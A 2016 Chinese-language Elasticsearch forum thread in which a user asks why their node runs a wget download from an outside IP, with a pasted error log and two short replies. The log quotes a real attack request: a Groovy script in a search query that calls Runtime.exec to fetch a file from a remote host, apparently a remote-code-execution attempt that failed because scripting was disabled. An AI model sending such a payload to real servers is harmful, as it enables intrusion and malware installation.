wget -O /tmp/all http://222.186.34.171:5656/all 是啥?

Elasticsearch | 作者 dreams | 发布于2016年02月23日 | 阅读数:2528

es 启动后,会定时 wget -O /tmp/all http://222.186.34.171:5656/all ,下载一个名为all 的文件,不知道是干什么用的?

错误信息如下:

 query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/all http://222.186.34.171:5656/all\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
        at org.elasticsearch.search.SearchService.parseSource(SearchService.java:747)
        at org.elasticsearch.search.SearchService.createContext(SearchService.java:572)
        at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:544)
        at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:306)
        at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:776)
        at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:767)
        at org.elasticsearch.transport.netty.MessageChannelHandler$RequestHandler.doRun(MessageChannelHandler.java:279)
        at org.elasticsearch.common.util.concurrent.AbstractRunnable.run(AbstractRunnable.java:36)
        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
        at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.ScriptException: scripts of type [inline], operation [search] and lang [groovy] are disabled
        at org.elasticsearch.script.ScriptService.compile(ScriptService.java:285)
        at org.elasticsearch.script.ScriptService.search(ScriptService.java:483)
        at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:79)
        at org.elasticsearch.search.SearchService.parseSource(SearchService.java:731)
        ... 10 more
已邀请:

medcl - 今晚打老虎。

赞同来自:

你是不是中毒了,es没有这个行为

dreams - 80后,苦逼IT男

赞同来自:

应该没有把.... es版本 1.7.5

要回复问题请先登录注册